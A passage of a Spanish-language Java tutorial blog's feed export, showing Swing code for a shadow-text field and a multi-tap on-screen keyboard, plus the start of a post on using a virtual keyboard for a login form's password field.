style="white-space: pre;"&gt;   &lt;/span&gt;return (super.getText().replace(sombra, ""));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;return super.getText();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public boolean vacio() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;return esSombra;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public void setSombra(String neoSombra) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;sombra = neoSombra;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Clase JKeyboard&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;div&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.JButton;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.JPanel;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;public class JKeyBoard extends javax.swing.JPopupMenu{&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private int indice = -1;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private String actual = "";&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private boolean lower = true;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private Thread hTeclas = null;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public JKeyBoard (final javax.swing.JComponent contenedor) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;JPanel pIni = new JPanel();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;setLocation(contenedor.getLocationOnScreen().x, &amp;nbsp; contenedor.getLocationOnScreen().y+contenedor.getHeight());&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;final java.awt.event.ActionListener accionMultiple = new java.awt.event.ActionListener(){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void actionPerformed(java.awt.event.ActionEvent e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;boolean vive = (hTeclas != null)?hTeclas.isAlive():false;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(!actual.equalsIgnoreCase(((javax.swing.JButton) e.getSource()).getText())) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;actual = ((javax.swing.JButton) e.getSource()).getText();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;indice = 0;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;if ((indice &amp;lt; actual.length()-1) &amp;amp;&amp;amp; vive) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;indice++;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;indice = 0;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;    &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;((javax.swing.text.JTextComponent) contenedor).setText(&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;( (!vive || ((javax.swing.text.JTextComponent) contenedor).getText().length() == 0)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt; &amp;nbsp;? ((javax.swing.text.JTextComponent) contenedor).getText()&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt; &amp;nbsp;: ((javax.swing.text.JTextComponent) contenedor).getText()&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;.substring(0, ((javax.swing.text.JTextComponent) contenedor).getText().length()-1))&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;+ ((lower)?actual.toLowerCase():actual.toLowerCase().toUpperCase()).charAt(indice));&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;    &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;try {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;(hTeclas = new Thread(new Runnable() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;public void run() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;try {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;        &lt;/span&gt;for(int i = 0; i &amp;lt; 1; i++) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;         &lt;/span&gt;Thread.sleep(1000);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;        &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;} catch (Exception e) {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;e.printStackTrace();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;})).start();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} catch (Exception exc) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;exc.printStackTrace();&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;};&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;final java.awt.event.ActionListener accionLiteral = new java.awt.event.ActionListener(){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void actionPerformed(java.awt.event.ActionEvent e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;((javax.swing.text.JTextComponent) contenedor).setText(&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;((javax.swing.text.JTextComponent) contenedor).getText()&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;+ ((lower)?actual.toLowerCase():actual.toLowerCase().toUpperCase()).charAt(indice));&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;};&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;final java.awt.event.ActionListener accionBorrar = new java.awt.event.ActionListener(){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void actionPerformed(java.awt.event.ActionEvent e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;((javax.swing.text.JTextComponent) contenedor).setText(&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;((javax.swing.text.JTextComponent) contenedor).getText()&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;.substring(0, ((javax.swing.text.JTextComponent) contenedor).getText().length()-1));&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;};&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;final java.awt.event.ActionListener accionLower = new java.awt.event.ActionListener(){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void actionPerformed(java.awt.event.ActionEvent e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;lower = !lower;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;};&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;JKeyBoard.this.addMouseListener(new java.awt.event.MouseAdapter() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void mouseExited(java.awt.event.MouseEvent e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;JKeyBoard.this.setVisible(false);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pIni.setLayout(new java.awt.GridLayout(4,3,0,0));&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;String[] teclas = {"ABC1", "DEF2", "GHI3", "JKL4", "MNÑ5", "OPQ6", "RST7", "UVW8", "XYZ9", "a/A", " .,0", "DEL"};&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;for (String val : teclas) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;JButton btn = new JButton();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;btn.setText(val);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;if(val.equalsIgnoreCase("DEL")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;btn.addActionListener(accionBorrar);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(val.equalsIgnoreCase("a/A")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;btn.addActionListener(accionLower);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;btn.addActionListener(accionMultiple);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;pIni.add(btn);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;add(pIni);&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;setVisible(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-weight: bold;"&gt;&lt;span style="font-size: large;"&gt;Descargar&lt;/span&gt;&lt;/div&gt;&lt;div style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/div&gt;Pueden descargar el proyecto completo desde&amp;nbsp;&lt;a href="http://dl.dropbox.com/u/61822104/Proyectos%20Java%20Zone/JTextSombra2.rar"&gt;aquí&lt;/a&gt;, se incluyen fuentes,&amp;nbsp;imágenes&amp;nbsp;y el Jar ejecutable.&lt;br /&gt;La clase jkeyboard fue editada para que ahora si funcione la accionMultiple. se actualizara la clase en el dropbox lo antes posible.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-1643803075571682443?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/1643803075571682443/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2012/02/texto-sombra-version-2.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/1643803075571682443'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/1643803075571682443'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2012/02/texto-sombra-version-2.html' title='Texto Sombra Versión 2'/><author><name>Archer</name><uri>http://www.blogger.com/profile/07064707018807365677</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://3.bp.blogspot.com/-M2dNsafo5Co/TXqizYcRd9I/AAAAAAAAABQ/JliOX5zo6Ew/s220/archer.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-PUess02SPOQ/T0nBDIG5XGI/AAAAAAAAAk4/oM5oJo7IwIs/s72-c/JTextSombra2+1+-+Java+Zone.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-4910247561937062515</id><published>2012-02-21T18:59:00.000-05:00</published><updated>2012-02-21T19:00:29.691-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JKeyboard'/><category scheme='http://www.blogger.com/atom/ns#' term='teclado en pantalla'/><category scheme='http://www.blogger.com/atom/ns#' term='teclado en java'/><category scheme='http://www.blogger.com/atom/ns#' term='teclado virtual'/><title type='text'>JKeyBoard</title><content type='html'>&lt;b&gt;&lt;span style="font-size: large;"&gt;JKeyboard&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Hoy veremos como crear y usar un teclado virtual para el ingreso de datos en un JTextField y un JPasswordField, ya anteriormente&amp;nbsp;habíamos&amp;nbsp;publicado una&amp;nbsp;aplicación&amp;nbsp;para el ingreso de claves, pero esto solo&amp;nbsp;permitía&amp;nbsp;el ingreso de datos&amp;nbsp;numéricos, en esta&amp;nbsp;ocasión&amp;nbsp;podrás&amp;nbsp;ingresar datos&amp;nbsp;alfanuméricos.&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Imágenes&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-5epWK8afReY/T0QukRcPbBI/AAAAAAAAAkg/VbwCth8ECPY/s1600/JKeyboard+1+-+Java+Zone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="125" src="http://4.bp.blogspot.com/-5epWK8afReY/T0QukRcPbBI/AAAAAAAAAkg/VbwCth8ECPY/s400/JKeyboard+1+-+Java+Zone.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-F-Vw6foV_Sg/T0QuneaHUCI/AAAAAAAAAko/ZbM6qCqHD1o/s1600/JKeyboard+2+-+Java+Zone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="123" src="http://1.bp.blogspot.com/-F-Vw6foV_Sg/T0QuneaHUCI/AAAAAAAAAko/ZbM6qCqHD1o/s400/JKeyboard+2+-+Java+Zone.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Código&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Clase Principal&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.Dimension;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.GridLayout;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.event.FocusEvent;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.event.FocusListener;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.*;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;public class Principal extends JFrame{&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JTextField txtusu=new JTextField(10);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JPasswordField txtclave=new JPasswordField(10);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JPopupMenu pop;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JKeyboardPane teclado;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public Principal(){&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;colocarSkin();&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;JPanel pafuera=new JPanel();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;JPanel p=new JPanel(new GridLayout(2,2,0,0));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pafuera.setPreferredSize(new Dimension(200,30));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.add(new JLabel("Usuario: "));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.add(txtusu);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.add(new JLabel("Clave: "));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.add(txtclave);&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;txtclave.addFocusListener(new FocusListener(){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void focusGained(FocusEvent arg0) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;pop = new JPopupMenu();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;teclado=new JKeyboardPane(txtclave);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;pop.add(teclado);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;pop.setVisible(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;pop.setLocation(txtclave.getLocationOnScreen().x+112, 